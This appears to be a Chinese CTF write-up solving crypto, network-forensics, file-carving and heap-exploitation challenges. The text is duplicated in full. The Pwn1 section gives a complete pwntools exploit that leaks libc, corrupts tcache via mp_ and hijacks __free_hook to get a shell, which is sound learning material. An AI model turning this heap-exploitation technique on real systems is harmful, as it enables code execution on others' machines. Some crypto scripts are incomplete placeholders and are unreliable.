## Crypto01 问AI 提出可以用已知明文攻击,因为平台flag 格式统一,所以密文中肯定包含 wdflag{ 这样的字符串 进一步分析加密过程,脚本包含多轮加密操作,存在异或操作,加密过程重复14 次 分析完加密过程后,推导出解密过程 首先利用一直明文攻击匹配出密钥,使用密钥尝试解密,因为密文分块,所以每个密文块都要重新解方程,最终获取到每个块的明文 核心代码如下  ```python class XorTracing: def __init__(self, plain, key, mask): self.from_plain = plain self.from_key = key self.from_mask = mask perform_xor = lambda obj1, obj2: XorTracing(obj1.from_plain ^ obj2.from_plain, obj1.from_key ^ obj2.from_key, obj1.from_mask ^ obj2.from_mask) transformation_chain = [XorTracing(1 << idx, 0, 0) for idx in range(block_size)] for _ in range(rounds): new_chain = [transformation_chain[P_permutation[idx]] for idx in range(block_size)] transformation_chain = new_chain new_chain = [None] * block_size for idx in range(block_size): if idx - IV < 0: new_chain[idx] = perform_xor(perform_xor(XorTracing(0, 0, MASK >> idx & 1), transformation_chain[idx]), XorTracing(0, 0, 0)) else: new_chain[idx] = perform_xor(perform_xor(XorTracing(0, 0, MASK >> idx & 1), transformation_chain[idx]), transformation_chain[idx - IV]) transformation_chain = new_chain new_chain = [perform_xor(transformation_chain[idx], XorTracing(0, 1 << idx, 0)) for idx in range(block_size)] transformation_chain = new_chain new_chain = [transformation_chain[inverse_P_permutation[idx]] for idx in range(block_size)] transformation_chain = new_chain for candidate_byte in range(256): initial_plaintext = bytes_to_long(b'wdflag{' + bytes([candidate_byte])) equations = [] for idx in range(block_size): equation_component = transformation_chain[idx].from_key computed_value = transformation_chain[idx].from_mask + (ciphertext[0] >> idx & 1) for inner_idx in range(block_size): computed_value += (transformation_chain[idx].from_plain & initial_plaintext) >> inner_idx & 1 computed_value %= 2 bit_set = set() for inner_idx in range(block_size): if (equation_component >> inner_idx) & 1: bit_set.add(inner_idx) equations.append([bit_set, computed_value * (len(bit_set) > 0)]) solver_instance = XorSolver(equations, 64) solution = solver_instance.solve(verbose=False) derived_key = {list(entry)[0]: result for entry, result in solver_instance.eqns} decrypted_bytes = b'' for cipher_chunk in ciphertext: equations = [[{63}, 0]] for idx in range(block_size): equation_component = transformation_chain[idx].from_plain computed_value = transformation_chain[idx].from_mask + (cipher_chunk >> idx & 1) for inner_idx in range(block_size): computed_value += (transformation_chain[idx].from_key >> inner_idx & derived_key.get(inner_idx, 0)) computed_value %= 2 bit_set = set() for inner_idx in range(block_size): if (equation_component >> inner_idx) & 1: bit_set.add(inner_idx) equations.append([bit_set, computed_value]) solver_instance = XorSolver(equations, 64) solution = solver_instance.solve(verbose=False) plaintext_chunk = sum(result << list(entry)[0] for entry, result in solver_instance.eqns) decrypted_bytes += long_to_bytes(plaintext_chunk) padding_length = len(decrypted_bytes) - decrypted_bytes.rfind(b'}') - 1 if decrypted_bytes[-padding_length:] == bytes([padding_length]) * padding_length: print(decrypted_bytes) ``` ## Crypto02 看到题目只能想到分解 N,为了分解N,我们只需要运用Pollard’s ρ algorithm,脚本如下 ```python def gcd(a, b): while b: a, b = b, a % b return a def mapx(x): x = (pow(x, n - 1, n) + 3) % n # Using modular exponentiation to reduce size return x def pollard_rho(x1, x2): while True: x1 = mapx(x1) x2 = mapx(mapx(x2)) p = gcd(x1 - x2, n) if p == n: print("fail") return elif p != 1: print("p:", p) print("q:", n // p) break def main(): pollard_rho(1, 1) n = #题目给的 main() ```  拿到e、N、p、q 之后解密文件 ```python from Crypto.Util.number import inverse # 已知的公钥 e 和模数 N e = 65537 N = # 假设您已经知道 p 和 q # 这里是伪代码,您需要找到 p 和 q。 p = q = # 计算私钥 d phi_N = (p - 1) * (q - 1) d = inverse(e, phi_N) def int2str(i): tmp = hex(i)[2:] if len(tmp) % 2 == 1: tmp = '0' + tmp return bytes.fromhex(tmp).decode('latin-1') def decrypt(ciphertext): # 解密过程 plain = pow(ciphertext, d, N) return int2str(plain) # 从文件中读取密文 with open('cipher.txt', 'rb') as f: cipher_bytes = f.read() # 将字节转换为整数 ciphertext = int.from_bytes(cipher_bytes, byteorder='big') # 解密 plaintext = decrypt(ciphertext) # 输出解密结果 print("Decrypted plaintext:", plaintext) ```  ## Misc01 过滤 gtp 协议,两个访问错误的包,两个包在一个流里 拼接 teid 的值即可获取 flag   ## Misc02 gtp 数据包的 upd 负载中,存在加密字节,加密方式为 AES-ECB,所以通过提取 UDP 负载的特定部分并将其转换为整数,作为密钥,将负载的其余部分转换为字节,然后进行解密 ```python from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import struct import pyshark def d(k, c): b = struct.pack('>I', k).ljust(16, b'\0') ciph = Cipher(algorithms.AES(b), modes.ECB(), backend=default_backend()) dec = ciph.decryptor() return dec.update(c) + dec.finalize() cap = pyshark.FileCapture("GTP.cap", display_filter='gtp') for i in cap: k = int(str(i.udp.payload).replace(":", "")[8:16], 16) m = bytes.fromhex(str(i.udp.payload).replace(":", "")[16:]) dm = d(k, m) print(dm) ```  ## Misc04 将三个文件使用 010editor 16 进制拼接到一起,使用 binwalk 分离得到 11.zip 和 2.png  2.png 存在半截 flag,反转图片即可  11.zip 存在注释,尝试掩码攻击即可获取密码  图片 crc 校验发现存在报错,尝试爆破宽高,得出前半截 flag,拼接即可  ## Pwn1 libc2.31,保护全开,没有UAF也没有off-by-one/null,但是注意到edit函数很特别,可以任意地址写入666666这个数字 这个任意地址写也不是任意值,而是666666这个数字,于是想到了mp\_结构体,这样可以扩展tcache,然后通过delete(0)然后再add就可以编辑tcache,这时候就可以写入free\_hook,然后打free\_hook来getshell 借鉴源鲁杯的脚本,修修改改,连接在线环境即可获取 flag ```python from pwn import * from pwnlib.util.packing import u64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u16 from pwnlib.util.packing import u8 from pwnlib.util.packing import p64 from pwnlib.util.packing import p32 from pwnlib.util.packing import p16 from pwnlib.util.packing import p8 io = process("./pwn") elf = ELF("./pwn") libc=elf.libc menu="Input your choice" def add(size,cont): io.sendlineafter(menu,str(1)) io.sendlineafter("Size :",str(size)) io.sendafter("Content :",cont) def delete(idx): io.sendlineafter(menu,str(2)) io.sendlineafter("Index :",str(idx)) def edit(addr): io.sendlineafter(menu,str(3)) io.sendafter("content :",addr) def show(idx): io.sendlineafter(menu,str(4)) io.sendlineafter("Index :",str(idx)) add(0x500,b'a') add(0x500,b'/bin/sh\x00') add(0x500,b'a') add(0x500,b'a') add(0x100,b'a') delete(2) add(0x500,b'a'*8) show(5) io.recvuntil(b'a'*8) libcbase=u64(io.recv(6).ljust(8,b"\x00"))-0x1ecbe0 print(hex(libcbase)) free_hook= libcbase +libc.sym['__free_hook'] system=libcbase+libc.sym['system'] mp_=libcbase+0x1EC280+0x50 edit(p64(mp_)) delete(3) delete(0) add(0x500,p64(0)*13+p64(free_hook)) add(0x500,p64(system)) delete(1) io.interactive() io.sendline('cat flag') print(io.recvline()) ```  Loading... ## Crypto01 问AI 提出可以用已知明文攻击,因为平台flag 格式统一,所以密文中肯定包含 wdflag{ 这样的字符串 进一步分析加密过程,脚本包含多轮加密操作,存在异或操作,加密过程重复14 次 分析完加密过程后,推导出解密过程 首先利用一直明文攻击匹配出密钥,使用密钥尝试解密,因为密文分块,所以每个密文块都要重新解方程,最终获取到每个块的明文 核心代码如下  ```python class XorTracing: def __init__(self, plain, key, mask): self.from_plain = plain self.from_key = key self.from_mask = mask perform_xor = lambda obj1, obj2: XorTracing(obj1.from_plain ^ obj2.from_plain, obj1.from_key ^ obj2.from_key, obj1.from_mask ^ obj2.from_mask) transformation_chain = [XorTracing(1 << idx, 0, 0) for idx in range(block_size)] for _ in range(rounds): new_chain = [transformation_chain[P_permutation[idx]] for idx in range(block_size)] transformation_chain = new_chain new_chain = [None] * block_size for idx in range(block_size): if idx - IV < 0: new_chain[idx] = perform_xor(perform_xor(XorTracing(0, 0, MASK >> idx & 1), transformation_chain[idx]), XorTracing(0, 0, 0)) else: new_chain[idx] = perform_xor(perform_xor(XorTracing(0, 0, MASK >> idx & 1), transformation_chain[idx]), transformation_chain[idx - IV]) transformation_chain = new_chain new_chain = [perform_xor(transformation_chain[idx], XorTracing(0, 1 << idx, 0)) for idx in range(block_size)] transformation_chain = new_chain new_chain = [transformation_chain[inverse_P_permutation[idx]] for idx in range(block_size)] transformation_chain = new_chain for candidate_byte in range(256): initial_plaintext = bytes_to_long(b'wdflag{' + bytes([candidate_byte])) equations = [] for idx in range(block_size): equation_component = transformation_chain[idx].from_key computed_value = transformation_chain[idx].from_mask + (ciphertext[0] >> idx & 1) for inner_idx in range(block_size): computed_value += (transformation_chain[idx].from_plain & initial_plaintext) >> inner_idx & 1 computed_value %= 2 bit_set = set() for inner_idx in range(block_size): if (equation_component >> inner_idx) & 1: bit_set.add(inner_idx) equations.append([bit_set, computed_value * (len(bit_set) > 0)]) solver_instance = XorSolver(equations, 64) solution = solver_instance.solve(verbose=False) derived_key = {list(entry)[0]: result for entry, result in solver_instance.eqns} decrypted_bytes = b'' for cipher_chunk in ciphertext: equations = [[{63}, 0]] for idx in range(block_size): equation_component = transformation_chain[idx].from_plain computed_value = transformation_chain[idx].from_mask + (cipher_chunk >> idx & 1) for inner_idx in range(block_size): computed_value += (transformation_chain[idx].from_key >> inner_idx & derived_key.get(inner_idx, 0)) computed_value %= 2 bit_set = set() for inner_idx in range(block_size): if (equation_component >> inner_idx) & 1: bit_set.add(inner_idx) equations.append([bit_set, computed_value]) solver_instance = XorSolver(equations, 64) solution = solver_instance.solve(verbose=False) plaintext_chunk = sum(result << list(entry)[0] for entry, result in solver_instance.eqns) decrypted_bytes += long_to_bytes(plaintext_chunk) padding_length = len(decrypted_bytes) - decrypted_bytes.rfind(b'}') - 1 if decrypted_bytes[-padding_length:] == bytes([padding_length]) * padding_length: print(decrypted_bytes) ``` ## Crypto02 看到题目只能想到分解 N,为了分解N,我们只需要运用Pollard’s ρ algorithm,脚本如下 ```python def gcd(a, b): while b: a, b = b, a % b return a def mapx(x): x = (pow(x, n - 1, n) + 3) % n # Using modular exponentiation to reduce size return x def pollard_rho(x1, x2): while True: x1 = mapx(x1) x2 = mapx(mapx(x2)) p = gcd(x1 - x2, n) if p == n: print("fail") return elif p != 1: print("p:", p) print("q:", n // p) break def main(): pollard_rho(1, 1) n = #题目给的 main() ```  拿到e、N、p、q 之后解密文件 ```python from Crypto.Util.number import inverse # 已知的公钥 e 和模数 N e = 65537 N = # 假设您已经知道 p 和 q # 这里是伪代码,您需要找到 p 和 q。 p = q = # 计算私钥 d phi_N = (p - 1) * (q - 1) d = inverse(e, phi_N) def int2str(i): tmp = hex(i)[2:] if len(tmp) % 2 == 1: tmp = '0' + tmp return bytes.fromhex(tmp).decode('latin-1') def decrypt(ciphertext): # 解密过程 plain = pow(ciphertext, d, N) return int2str(plain) # 从文件中读取密文 with open('cipher.txt', 'rb') as f: cipher_bytes = f.read() # 将字节转换为整数 ciphertext = int.from_bytes(cipher_bytes, byteorder='big') # 解密 plaintext = decrypt(ciphertext) # 输出解密结果 print("Decrypted plaintext:", plaintext) ```  ## Misc01 过滤 gtp 协议,两个访问错误的包,两个包在一个流里 拼接 teid 的值即可获取 flag   ## Misc02 gtp 数据包的 upd 负载中,存在加密字节,加密方式为 AES-ECB,所以通过提取 UDP 负载的特定部分并将其转换为整数,作为密钥,将负载的其余部分转换为字节,然后进行解密 ```python from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.backends import default_backend import struct import pyshark def d(k, c): b = struct.pack('>I', k).ljust(16, b'\0') ciph = Cipher(algorithms.AES(b), modes.ECB(), backend=default_backend()) dec = ciph.decryptor() return dec.update(c) + dec.finalize() cap = pyshark.FileCapture("GTP.cap", display_filter='gtp') for i in cap: k = int(str(i.udp.payload).replace(":", "")[8:16], 16) m = bytes.fromhex(str(i.udp.payload).replace(":", "")[16:]) dm = d(k, m) print(dm) ```  ## Misc04 将三个文件使用 010editor 16 进制拼接到一起,使用 binwalk 分离得到 11.zip 和 2.png  2.png 存在半截 flag,反转图片即可  11.zip 存在注释,尝试掩码攻击即可获取密码  图片 crc 校验发现存在报错,尝试爆破宽高,得出前半截 flag,拼接即可  ## Pwn1 libc2.31,保护全开,没有UAF也没有off-by-one/null,但是注意到edit函数很特别,可以任意地址写入666666这个数字 这个任意地址写也不是任意值,而是666666这个数字,于是想到了mp\_结构体,这样可以扩展tcache,然后通过delete(0)然后再add就可以编辑tcache,这时候就可以写入free\_hook,然后打free\_hook来getshell 借鉴源鲁杯的脚本,修修改改,连接在线环境即可获取 flag ```python from pwn import * from pwnlib.util.packing import u64 from pwnlib.util.packing import u32 from pwnlib.util.packing import u16 from pwnlib.util.packing import u8 from pwnlib.util.packing import p64 from pwnlib.util.packing import p32 from pwnlib.util.packing import p16 from pwnlib.util.packing import p8 io = process("./pwn") elf = ELF("./pwn") libc=elf.libc menu="Input your choice" def add(size,cont): io.sendlineafter(menu,str(1)) io.sendlineafter("Size :",str(size)) io.sendafter("Content :",cont) def delete(idx): io.sendlineafter(menu,str(2)) io.sendlineafter("Index :",str(idx)) def edit(addr): io.sendlineafter(menu,str(3)) io.sendafter("content :",addr) def show(idx): io.sendlineafter(menu,str(4)) io.sendlineafter("Index :",str(idx)) add(0x500,b'a') add(0x500,b'/bin/sh\x00') add(0x500,b'a') add(0x500,b'a') add(0x100,b'a') delete(2) add(0x500,b'a'*8) show(5) io.recvuntil(b'a'*8) libcbase=u64(io.recv(6).ljust(8,b"\x00"))-0x1ecbe0 print(hex(libcbase)) free_hook= libcbase +libc.sym['__free_hook'] system=libcbase+libc.sym['system'] mp_=libcbase+0x1EC280+0x50 edit(p64(mp_)) delete(3) delete(0) add(0x500,p64(0)*13+p64(free_hook)) add(0x500,p64(system)) delete(1) io.interactive() io.sendline('cat flag') print(io.recvline()) ```  最后修改:2025 年 07 月 24 日 © 允许规范转载 赞 如果觉得我的文章对你有用,请随意赞赏